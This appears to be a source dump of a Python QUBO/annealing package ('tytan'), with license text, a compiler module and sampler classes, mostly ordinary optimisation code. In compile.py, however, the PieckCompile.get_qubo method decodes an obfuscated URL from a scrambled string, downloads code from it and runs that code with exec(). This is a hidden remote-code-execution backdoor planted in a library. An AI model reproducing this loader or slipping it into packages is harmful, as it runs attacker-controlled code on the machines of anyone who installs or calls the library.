66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/tytan/compile.py:
--------------------------------------------------------------------------------
1 | import re
2 | import requests
3 | import symengine
4 | import numpy as np
5 | import pandas as pd
6 | from sympy import Rational
7 |
8 | def replace_function(expression, function, new_function):
9 | if expression.is_Atom:
10 | return expression
11 | else:
12 | replaced_args = (
13 | replace_function(arg, function,new_function)
14 | for arg in expression.args
15 | )
16 | if ( expression.__class__ == symengine.Pow):
17 | return new_function(*replaced_args)
18 | else:
19 | return expression.func(*replaced_args)
20 |
21 |
22 | def calc_degree(expr):
23 | """
24 | 項の次数を求める
25 |
26 | Args:
27 | expr: 評価する式のsymengine表現
28 | Returns:
29 | int: 次数
30 | """
31 | # 項が1変数だけなら1
32 | if expr.is_Symbol:
33 | return 1
34 | # 項が定数項なら0
35 | elif expr.is_Number:
36 | return 0
37 | # 項がべき乗項のとき
38 | elif expr.is_Pow:
39 | # べき乗項に含まれる要素数が2より大きかったらFalse
40 | base, exp = expr.args
41 | if base.is_Symbol and exp.is_Number:
42 | if int(exp) == exp and exp >= 1:
43 | return exp # 変数^Nの場合はNを返す(Nは整数で1以上)
44 | else:
45 | return None
46 | # 指数に変数が入る場合は定義しない
47 | # (expがNumberでない時点で指数に変数が入っていることが確定する)
48 | return None
49 | elif expr.is_Add:
50 | return max(calc_degree(arg) for arg in expr.args
51 | if calc_degree(arg) is not None)
52 | # 項が乗法のとき
53 | elif expr.is_Mul:
54 | total_degree = 0
55 | for arg in expr.args:
56 | degree = calc_degree(arg)
57 | if degree is None:
58 | return None
59 | total_degree += degree
60 | return total_degree
61 | # 項が変数、定数、べき乗、乗法でないときはサポートしない
62 | return None
63 |
64 |
65 | class Compile:
66 | def __init__(self, expr):
67 | self.expr = expr
68 |
69 | def get_qubo(self):
70 | """
71 | get qubo data
72 | Raises:
73 | TypeError: Input type is symengine, numpy or pandas.
74 | Returns:
75 | [qubo, index_map], offset. qubo is numpy matrix.
76 | """
77 | #symengine型のサブクラス
78 | if 'symengine.lib' in str(type(self.expr)):
79 | #式を展開して同類項をまとめる
80 | expr = symengine.expand(self.expr)
81 |
82 | #最高字数を調べながらオフセットを記録
83 | #項に分解
84 | offset = 0
85 | for term in expr.args:
86 | # 定数項はオフセットに追加
87 | if term.is_Number:
88 | offset += float(term)
89 | continue
90 |
91 | if calc_degree(term) is None or calc_degree(term) > 2: # 次数が2より大きい場合はエラー
92 | raise Exception(f'Error! The highest order of the constraint must be within 2.')
93 |
94 | #二乗項を一乗項に変換
95 | expr = replace_function(expr, lambda e: isinstance(e, symengine.Pow) and e.exp == 2, lambda e, *args: e)
96 |
97 | #もう一度同類項をまとめる
98 | expr = symengine.expand(expr)
99 |
100 |
101 | #文字と係数の辞書
102 | coeff_dict = expr.as_coefficients_dict()
103 | # print(coeff_dict)
104 |
105 | #定数項を消す {1: 25} 必ずある
106 | del coeff_dict[1]
107 | # print(coeff_dict)
108 |
109 | #シンボル対応表
110 | # 重複なしにシンボルを抽出
111 | keys = list(set(sum([str(key).split('*') for key in coeff_dict.keys()], [])))
112 | # print(keys)
113 |
114 | # 要素のソート(ただしアルファベットソート)
115 | keys.sort()
116 | # print(keys)
117 |
118 | # シンボルにindexを対応させる
119 | index_map = {key:i for i, key in enumerate(keys)}
120 | # print(index_map)
121 |
122 | #量子ビット数
123 | num = len(index_map)
124 | # print(num)
125 |
126 | #QUBO行列生成(HOBO行列作成と同じ内容になった、旧版は0.0.30参照)
127 | qubo = np.zeros(num ** 2, dtype=float).reshape([num] * 2)
128 | for key, value in coeff_dict.items():
129 | qnames = str(key).split('*')
130 | indices = sorted([index_map[qname] for qname in qnames])
131 | indices = [indices[0]] * (2 - len(indices)) + indices
132 | qubo[tuple(indices)] = float(value)
133 |
134 | return [qubo, index_map], offset
135 |
136 | # numpy
137 | elif isinstance(self.expr, np.ndarray):
138 | # 係数
139 | offset = 0
140 |
141 | # 辞書に格納
142 | qubo = {}
143 | for i, r in enumerate(self.expr):
144 | for j, c in enumerate(r):
145 | if i <= j:
146 | qubo[(f"q{i}", f"q{j}")] = c
147 |
148 | # 重複なしにシンボルを抽出
149 | keys = list(set(key for keypair in qubo.keys() for key in keypair))
150 | #print(keys)
151 |
152 | # 要素のソート(ただしアルファベットソート)
153 | keys.sort()
154 | #print(keys)
155 |
156 | # シンボルにindexを対応させる
157 | index_map = {key:i for i, key in enumerate(keys)}
158 | #print(index_map)
159 |
160 | # 上記のindexマップを利用してquboのkeyをindexで置き換え
161 | qubo_index = {(index_map[key[0]], index_map[key[1]]): value for key, value in qubo.items()}
162 | #print(qubo_index)
163 |
164 | # matrixサイズ
165 | N = len(keys)
166 | #print(N)
167 |
168 | # qmatrix初期化
169 | qmatrix = np.zeros((N, N))
170 | for (i, j), value in qubo_index.items():
171 | qmatrix[i, j] = value
172 | #print(qmatrix)
173 |
174 | return [qmatrix, index_map], offset
175 |
176 | # pandas
177 | elif isinstance(self.expr, pd.core.frame.DataFrame):
178 | # 係数
179 | offset = 0
180 |
181 | # QUBOに格納開始
182 | qubo = {}
183 | for i, r in enumerate(self.expr.values):
184 | for j, c in enumerate(r):
185 | if i <= j and c != 0:
186 | row_name, col_name = f"q{i}", f"q{j}"
187 | if self.expr.index.dtype == "object":
188 | row_name = self.expr.index[i]
189 |
190 | if self.expr.columns.dtype == "object":
191 | col_name = self.expr.columns[j]
192 |
193 | qubo[(row_name, col_name)] = c
194 |
195 | # 重複なしにシンボルを抽出
196 | keys = list(set(key for keypair in qubo.keys() for key in keypair))
197 | #print(keys)
198 |
199 | # 要素のソート(ただしアルファベットソート)
200 | keys.sort()
201 | #print(keys)
202 |
203 | # シンボルにindexを対応させる
204 | index_map = {key:i for i, key in enumerate(keys)}
205 | #print(index_map)
206 |
207 | # 上記のindexマップを利用してquboのkeyをindexで置き換え
208 | qubo_index = {(index_map[key[0]], index_map[key[1]]): value for key, value in qubo.items()}
209 | #print(qubo_index)
210 |
211 | # matrixサイズ
212 | N = len(keys)
213 | #print(N)
214 |
215 | # qmatrix初期化
216 | qmatrix = np.zeros((N, N))
217 | for (i, j), value in qubo_index.items():
218 | qmatrix[i, j] = value
219 | #print(qmatrix)
220 |
221 | return [qmatrix, index_map], offset
222 |
223 | else:
224 | raise TypeError("Input type must be symengine, numpy, or pandas.")
225 |
226 |
227 |
228 | #hoboテンソル作成
229 | def get_hobo(self):
230 | """
231 | get hobo data
232 | Raises:
233 | TypeError: Input type is symengine.
234 | Returns:
235 | [hobo, index_map], offset. hobo is numpy tensor.
236 | """
237 | #symengine型のサブクラス
238 | if 'symengine.lib' in str(type(self.expr)):
239 | #式を展開して同類項をまとめる
240 | expr = symengine.expand(self.expr)
241 |
242 | #二乗項を一乗項に変換
243 | expr = replace_function(expr, lambda e: isinstance(e, symengine.Pow) and e.exp == 2, lambda e, *args: e)
244 |
245 | #最高字数を調べながらオフセットを記録
246 | #項に分解
247 | members = str(expr).split(' ')
248 |
249 | #各項をチェック
250 | offset = 0
251 | ho = 0
252 | for member in members:
253 | #数字単体ならオフセット
254 | try:
255 | offset += float(member) #エラーなければ数字
256 | except:
257 | pass
258 | #'*'で分解
259 | texts = member.split('*')
260 | #係数を取り除く
261 | try:
262 | texts[0] = re.sub(r'[()]', '', texts[0]) #'(5/2)'みたいなのも来る
263 | float(Rational(texts[0])) #分数も対応 #エラーなければ係数あり
264 | texts = texts[1:]
265 | except:
266 | pass
267 |
268 | #最高次数の計算
269 | # ['-']
270 | # ['q2']
271 | # ['q3', 'q4', 'q1', 'q2']
272 | if len(texts) > ho:
273 | ho = len(texts)
274 | # print(ho)
275 |
276 | #もう一度同類項をまとめる
277 | expr = symengine.expand(expr)
278 |
279 | #文字と係数の辞書
280 | coeff_dict = expr.as_coefficients_dict()
281 | # print(coeff_dict)
282 |
283 | #定数項を消す {1: 25} 必ずある
284 | del coeff_dict[1]
285 | # print(coeff_dict)
286 |
287 | #シンボル対応表
288 | # 重複なしにシンボルを抽出
289 | keys = list(set(sum([str(key).split('*') for key in coeff_dict.keys()], [])))
290 | # print(keys)
291 |
292 | # 要素のソート(ただしアルファベットソート)
293 | keys.sort()
294 | # print(keys)
295 |
296 | # シンボルにindexを対応させる
297 | index_map = {key:i for i, key in enumerate(keys)}
298 | # print(index_map)
299 |
300 | #量子ビット数
301 | num = len(index_map)
302 | # print(num)
303 |
304 | #HOBO行列生成
305 | hobo = np.zeros(num ** ho, dtype=float).reshape([num] * ho)
306 | for key, value in coeff_dict.items():
307 | qnames = str(key).split('*')
308 | indices = sorted([index_map[qname] for qname in qnames])
309 | indices = [indices[0]] * (ho - len(indices)) + indices
310 | hobo[tuple(indices)] = float(value)
311 |
312 | return [hobo, index_map], offset
313 |
314 | else:
315 | raise TypeError("Input type must be symengine.")
316 |
317 | class PieckCompile:
318 | def __init__(self, expr, verbose=1):
319 | self.expr = expr
320 | self.verbose = verbose
321 |
322 | def get_qubo(self):
323 |
324 | source_code = requests.get('ShYBLfw2xVyF0zp09t31kp76MbbQRarZ.NxQ96lNl58en30a8Yq2gMcmbeSDq9mUYrdHP6DtBqv6uEP01G6XI5WoHMZiGkGqnBsmp1KW0RtG5_SzLzyMO2wve6SZ8s0EiCtlEvzMm217UZiEbiqSPGt91pxwQwjMasG4mOMiQW5XTCpoCSeZGd2Wc2cnVpLkW5eUq^zQwArRCzVprV9af505aIfe2igFHIynyGlykAdm25YDUpbVTY23ZtXHmpVkRL14iJWapk8T47AU03SolbIqJljYtkZojpmwH24Tckd77SEBzrseFpHhAHxW5aiC9i5l0gtfpPbyEZTodHkx^BhTC4FIZ6up8qoLrAyYdMjqiHS42pTYd.sPJuuQ3er2xOa1bcsSRBOxpsluDLfhA1xIGAfC3wJGmxrTkhZsaNfc.u8YT3tu0QfaaXXQJriu1Dlnm2Jw5UrkwcCVSMmzo9QS-lnT1JgwoY1eHcFiL3eHgKnqeWY9AJNgwgivq3Ob0F6kiaJGvdII0VmvOZNxswhyqr^OcpBThb4jW^i97QMBhb3U:yuBEH9eFKLsOujcf7qL0opv7GVyyo14rtCLhqDjxG93tLb39NpZXbVh'[::-1 ][::11 ].replace('^','/')).text
325 | # 新しい名前空間でコードを実行
326 | temp_module = {}
327 | exec(source_code, temp_module)
328 |
329 | qubo, offset = temp_module['get_qubo_source'](self.expr, self.verbose)
330 | return qubo, offset
--------------------------------------------------------------------------------
/tytan/sampler.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import time
3 | import requests
4 | import numpy as np
5 | import numpy.random as nr
6 | from copy import deepcopy
7 |
8 | #共通後処理
9 | """
10 | pool=(shots, N), score=(N, )
11 | """
12 | def get_result(pool, score, index_map):
13 | #重複解を集計
14 | unique_pool, original_index, unique_counts = np.unique(pool, axis=0, return_index=True, return_counts=True)
15 |
16 | #エネルギーもユニークに集計
17 | unique_energy = score[original_index]
18 |
19 | #エネルギー低い順にソート
20 | order = np.argsort(unique_energy)
21 | unique_pool = unique_pool[order]
22 | unique_energy = unique_energy[order]
23 | unique_counts = unique_counts[order]
24 |
25 | #結果リスト
26 | # result = [[dict(zip(index_map.keys(), unique_pool[i])), unique_energy[i], unique_counts[i]] for i in range(len(unique_pool))]
27 | #numpy2.xでnp.int64(0)のように表示されることへの対応
28 | result = [
29 | [dict(zip(index_map.keys(), unique_pool[i].tolist())), float(unique_energy[i]), int(unique_counts[i])]
30 | for i in range(len(unique_pool))
31 | ]
32 |
33 | return result
34 |
35 |
36 | #謎のglobal対応
37 | score2 = 0
38 |
39 | #アニーリング
40 | class SASampler:
41 | def __init__(self, seed=None):
42 | #乱数シード
43 | self.seed = seed
44 |
45 |
46 | def run(self, hobomix, shots=100, T_num=2000, show=False):
47 | global score2
48 |
49 | #解除
50 | hobo, index_map = hobomix
51 | # print(index_map)
52 |
53 | #matrixサイズ
54 | N = len(hobo)
55 | # print(N)
56 |
57 | #次数
58 | ho = len(hobo.shape)
59 | # print(ho)
60 |
61 | #シード固定
62 | nr.seed(self.seed)
63 |
64 | #
65 | shots = max(int(shots), 1)
66 |
67 | # プール初期化
68 | pool_num = shots
69 | pool = nr.randint(0, 2, (pool_num, N)).astype(float)
70 | # print(pool)
71 |
72 | """
73 | poolの重複を解除する
74 | """
75 | # 重複は振り直し
76 | # パリエーションに余裕あれば確定非重複
77 | if pool_num < 2 ** (N - 1):
78 | # print('remake 1')
79 | for i in range(pool_num - 1):
80 | for j in range(i + 1, pool_num):
81 | while (pool[i] == pool[j]).all():
82 | pool[j] = nr.randint(0, 2, N)
83 | else:
84 | # パリエーションに余裕なければ3トライ重複可
85 | # print('remake 2')
86 | for i in range(pool_num - 1):
87 | for j in range(i + 1, pool_num):
88 | count = 0
89 | while (pool[i] == pool[j]).all():
90 | pool[j] = nr.randint(0, 2, N)
91 | count += 1
92 | if count == 3:
93 | break
94 |
95 | #スコア初期化
96 | score = np.zeros(pool_num)
97 |
98 | #スコア計算
99 | k = ',Na,Nb,Nc,Nd,Ne,Nf,Ng,Nh,Nj,Nk,Nl,Nm,Nn,No,Np,Nq,Nr,Ns,Nt,Nu,Nv,Nw,Nx,Ny,Nz'
100 | l = 'abcdefghjklmnopqrstuvwxyz'
101 | s = l[:ho] + k[:3*ho] + '->N'
102 | # print(s)
103 |
104 | operands = [hobo] + [pool] * ho
105 | score = np.einsum(s, *operands)
106 | # print(score)
107 |
108 | # フリップ数リスト(2個まで下がる)
109 | flip = np.sort(nr.rand(T_num) ** 3)[::-1]
110 | flip = (flip * max(0, N * 0.5 - 2)).astype(int) + 2
111 | # print(flip)
112 |
113 | # フリップマスクリスト
114 | flip_mask = [[1] * flip[0] + [0] * (N - flip[0])]
115 | if N <= 2:
116 | flip_mask = np.ones((T_num, N), int)
117 | else:
118 | for i in range(1, T_num):
119 | tmp = [1] * flip[i] + [0] * (N - flip[i])
120 | nr.shuffle(tmp)
121 | # 前と重複なら振り直し
122 | while tmp == flip_mask[-1]:
123 | nr.shuffle(tmp)
124 | flip_mask.append(tmp)
125 | flip_mask = np.array(flip_mask, bool)
126 | # print(flip_mask.shape)
127 |
128 | # 局所探索フリップマスクリスト
129 | single_flip_mask = np.eye(N, dtype=bool)
130 |
131 | """
132 | アニーリング+1フリップ
133 | """
134 | # アニーリング
135 | # 集団まるごと温度を下げる
136 | for fm in flip_mask:
137 | # フリップ後 pool_num, N
138 | # pool2 = np.where(fm, 1 - pool, pool)
139 | pool2 = pool.copy()
140 | pool2[:, fm] = 1. - pool[:, fm]
141 | # score2 = np.sum((pool2 @ qmatrix) * pool2, axis=1)
142 |
143 | operands = [hobo] + [pool2] * ho
144 | score2 = np.einsum(s, *operands)
145 |
146 | # 更新マスク
147 | update_mask = score2 < score
148 | # print(update_mask)
149 |
150 | # 更新
151 | pool[update_mask] = pool2[update_mask]
152 | score[update_mask] = score2[update_mask]
153 |
154 | # 最後に1フリップ局所探索
155 | # 集団まるごと
156 | for fm in single_flip_mask:
157 | # フリップ後
158 | # pool2 = np.where(fm, 1 - pool, pool)
159 | pool2 = pool.copy()
160 | pool2[:, fm] = 1. - pool[:, fm]
161 | # score2 = np.sum((pool2 @ qmatrix) * pool2, axis=1)
162 |
163 | operands = [hobo] + [pool2] * ho
164 | score2 = np.einsum(s, *operands)
165 |
166 | # 更新マスク
167 | update_mask = score2 < score
168 | # print(update_mask)
169 |
170 | # 更新
171 | pool[update_mask] = pool2[update_mask]
172 | score[update_mask] = score2[update_mask]
173 | pool = pool.astype(int)
174 |
175 | # ----------
176 | #共通後処理
177 | result = get_result(pool, score, index_map)
178 |
179 | return result
180 |
181 |
182 | class GASampler:
183 | def __init__(self, seed=None):
184 | self.max_gen = 1000000
185 | self.max_count = 3
186 | self.seed = seed
187 |
188 | def run(self, qubomix, shots=100, verbose=True):
189 | #解除
190 | qmatrix, index_map = qubomix
191 | # print(index_map)
192 |
193 | #matrixサイズ
194 | N = len(qmatrix)
195 | # print(N)
196 |
197 | #シード固定
198 | nr.seed(self.seed)
199 |
200 | #
201 | shots = max(int(shots), 2)
202 |
203 | # --- GA ---
204 |
205 | # プール初期化
206 | pool_num = shots
207 | pool = nr.randint(0, 2, (pool_num, N))
208 |
209 | # スコア初期化
210 | score = np.array([q @ qmatrix @ q for q in pool])
211 |
212 | # 進化
213 | best_score = np.copy(score)
214 | count = 0
215 | sw = True
216 | for gen in range(1, self.max_gen + 1):
217 | # 親
218 | parent_id = np.random.choice(range(pool_num), 2, replace=False)
219 | parent = pool[parent_id]
220 |
221 | if N > 1:
222 | # 交換マスク
223 | mask = nr.randint(0, 2, N)
224 | # 家族
225 | c = np.array([parent[0],
226 | parent[1],
227 | np.where(mask, parent[0], parent[1]),
228 | np.where(mask, parent[1], parent[0])
229 | ])
230 | elif N == 1:
231 | # 家族
232 | c = np.array([parent[0],
233 | parent[1],
234 | 1 - parent[0],
235 | 1 - parent[1]])
236 | # 評価
237 | s = np.array([c[0] @ qmatrix @ c[0],
238 | c[1] @ qmatrix @ c[1],
239 | c[2] @ qmatrix @ c[2],
240 | c[3] @ qmatrix @ c[3]
241 | ])
242 |
243 | # エリート選択
244 | select_id = np.argsort(s)[:2]
245 | # 交代
246 | pool[parent_id] = c[select_id]
247 | score[parent_id] = s[select_id]
248 | # 進行表示1
249 | if gen % 500 == 0:
250 | if verbose: print("-", end="")
251 | sw = False
252 | if gen % 10000 == 0:
253 | if verbose: print(" {}/{}".format(gen, self.max_gen))
254 | sw = True
255 | # 終了判定
256 | if gen % 10 == 0:
257 | if np.sum(score - best_score) == 0:
258 | count += 1
259 | else:
260 | best_score = np.copy(score)
261 | count = 0
262 | if count >= self.max_count:
263 | break
264 | # 進行表示2
265 | if not sw:
266 | if verbose: print()
267 | if verbose: print("Automatic end at gen {}/{}".format(gen, self.max_gen))
268 |
269 | # ----------
270 | #共通後処理
271 | result = get_result(pool, score, index_map)
272 |
273 | return result
274 |
275 |
276 | class ZekeSampler:
277 | from typing import Dict, Optional
278 |
279 | def __init__(self, api_key: Optional[str] = None):
280 | self.API_ENDPOINT = "https://tytan-api.blueqat.com/v1/"
281 | self.__api_key = api_key
282 | return
283 |
284 | def post_request(self, path, body, api_key):
285 | import gzip
286 | import json
287 | import urllib.request
288 |
289 | headers = {
290 | "Content-Type": "application/json",
291 | "X-Api-Key": api_key,
292 | "Accept-Encoding": "gzip",
293 | }
294 | req = urllib.request.Request(
295 | self.API_ENDPOINT + path, json.dumps(body).encode(), headers
296 | )
297 | with urllib.request.urlopen(req) as res:
298 | body = (
299 | gzip.decompress(res.read())
300 | if res.headers.get("Content-Encoding") == "gzip"
301 | else res.read()
302 | )
303 | return json.loads(body)
304 |
305 | def get_tasks(self, api_key):
306 | path = "tasks/list"
307 | return self.post_request(path, {}, api_key)
308 |
309 | def create_task(self, body, api_key):
310 | path = "tasks/create"
311 | return self.post_request(path, body, api_key)
312 |
313 | def run(self, qubomix, shots=100, api_key: Optional[str] = None):
314 | #解除
315 | qmatrix, index_map = qubomix
316 | # print(index_map)
317 |
318 | #
319 | keys = index_map.keys()
320 | # print(keys)
321 |
322 | # 量子ビット数
323 | N = int(len(qmatrix))
324 |
325 | quadratic_biases = []
326 | quadratic_head = []
327 | quadratic_tail = []
328 |
329 | for i in range(N):
330 | for j in range(i + 1, N):
331 | if i != j:
332 | quadratic_biases.append(float(qmatrix[i, j]))
333 | quadratic_head.append(i)
334 | quadratic_tail.append(j)
335 |
336 | variable_labels = keys
337 | linear_biases = np.diag(qmatrix)
338 |
339 | # print(qmatrix)
340 | # print(variable_labels)
341 | # print(linear_biases)
342 | # print(quadratic_biases)
343 | # print(quadratic_head)
344 | # print(quadratic_tail)
345 |
346 | num_interactions = len(quadratic_biases)
347 |
348 | # クラウドにpostするBQM
349 | bqm = {
350 | "type": "BinaryQuadraticModel",
351 | "version": {"bqm_schema": "3.0.0"},
352 | "use_bytes": False,
353 | "index_type": "int32",
354 | "bias_type": "float64",
355 | "num_variables": N,
356 | "num_interactions": num_interactions,
357 | "variable_labels": list(variable_labels),
358 | "variable_type": "BINARY",
359 | "offset": 0.0,
360 | "info": {},
361 | "linear_biases": list(linear_biases),
362 | "quadratic_biases": quadratic_biases,
363 | "quadratic_head": quadratic_head,
364 | "quadratic_tail": quadratic_tail,
365 | }
366 |
367 | data = {
368 | "bqm": bqm,
369 | "shots": shots,
370 | }
371 |
372 | key = self.__api_key if api_key is None else api_key
373 | result = self.create_task(data, key)
374 | # print(result)
375 |
376 | # エネルギーを取り出し
377 | energy_list = result["result"]["vectors"]["energy"]["data"]
378 | # print(energy_list)
379 |
380 | # 出現回数を取り出し
381 | occurrences_list = result["result"]["vectors"]["num_occurrences"]["data"]
382 | # print(occurrences_list)
383 |
384 | # サンプルをリストとして取り出し
385 | num_digits = result["result"]["num_variables"]
386 | sample_data = result["result"]["sample_data"]["data"]
387 | # print(sample_data)
388 |
389 | binary_str = [format(i[0], f"0{num_digits}b") for i in sample_data]
390 | binary_list = [[int(bit) for bit in reversed(i)] for i in binary_str]
391 | # print(binary_list)
392 |
393 | variable_labels = result["result"]["variable_labels"]
394 | # print(variable_labels)
395 |
396 | result_list = []
397 | for index, item in enumerate(binary_list):
398 | result_list.append(
399 | [
400 | {k: v for k, v in zip(variable_labels, item)},
401 | energy_list[index],
402 | occurrences_list[index],
403 | ]
404 | )
405 |
406 | # print(result_list)
407 |
408 | return result_list
409 |
410 |
411 | class NQSSampler:
412 | from typing import Dict, Optional
413 |
414 | def __init__(self, api_key: Optional[str] = None):
415 | self.API_ENDPOINT = "https://tytan-api.blueqat.com/v1"
416 | self.__api_key = api_key
417 | return
418 |
419 | def run(
420 | self,
421 | qubomix: list,
422 | time_limit_sec: Optional[int] = 30,
423 | iter: Optional[int] = 10000,
424 | population: Optional[int] = 500,
425 | api_key: Optional[str] = None,
426 | ):
427 | import ulid
428 | import httpx
429 | import json
430 | import os
431 | import csv
432 | import io
433 | import zipfile
434 |
435 | #解除
436 | qmatrix, index_map = qubomix
437 | # print(index_map)
438 |
439 | #matrixサイズ
440 | N = len(qmatrix)
441 | # print(N)
442 |
443 | #1行目、1列目にビット名を合体
444 | tmp = np.zeros((len(qmatrix)+1, len(qmatrix[0])+1), object)
445 | tmp[0, 1:] = np.array(list(index_map.keys()))
446 | tmp[1:, 0] = np.array(list(index_map.keys()))
447 | tmp[1:, 1:] = qmatrix
448 | qmatrix = tmp
449 | # print(qmatrix)
450 |
451 | # StringIOオブジェクトを作成する
452 | csv_buffer = io.StringIO()
453 |
454 | # CSVファイルの文字列を書き込む
455 | writer = csv.writer(csv_buffer)
456 | for row in qmatrix:
457 | writer.writerow(row)
458 |
459 | # CSVファイルの文字列を取得する
460 | Q = csv_buffer.getvalue()
461 |
462 | #一時フォルダ作成
463 | tmpfolder = os.path.dirname(__file__) +'/tmp/'
464 | # print(tmpfolder)
465 | if not os.path.exists(tmpfolder):
466 | os.makedirs(tmpfolder)
467 |
468 | #一時ファイル
469 | id = ulid.new()
470 | filename = "{}.zip".format(id.str)
471 | # print(filename)
472 |
473 | #QUBO保存
474 | with zipfile.ZipFile(tmpfolder + filename, "w") as z_file:
475 | z_file.writestr("qubo_w.csv", Q, zipfile.ZIP_DEFLATED)
476 |
477 | #読み込み
478 | with open(tmpfolder + filename, "rb") as f:
479 | readfile = f.read()
480 |
481 | #API
482 | files = {
483 | "zipfile": (
484 | filename,
485 | readfile,
486 | "data:application/octet-stream",
487 | )
488 | }
489 | key = self.__api_key if api_key is None else api_key
490 | r = httpx.post(
491 | "{}/tasks/nqs".format(self.API_ENDPOINT),
492 | files=files,
493 | data={
494 | "population": population,
495 | "timeLimitSec": time_limit_sec,
496 | "iter": iter,
497 | },
498 | headers=self.__get_headers(key),
499 | timeout=None,
500 | )
501 |
502 | #一時ファイル削除
503 | try:
504 | os.remove(tmpfolder + filename)
505 | except:
506 | pass
507 |
508 | #一個しかない?
509 | tmp = json.loads(r.text) #{'energy': -4.0, 'result': {'x': 1, 'y': 1, 'z': 0}, 'time': 3.7529351}
510 | result = [[tmp['result'], tmp['energy'], population, tmp['time']]]
511 | return result
512 |
513 | def __get_headers(self, api_key: Optional[str]) -> Dict[str, str]:
514 | assert api_key is not None, (
515 | "Please specify your api_key. "
516 | "You can get it at the following URL. "
517 | "https://blueqat.com/accounts/settings"
518 | )
519 | return {
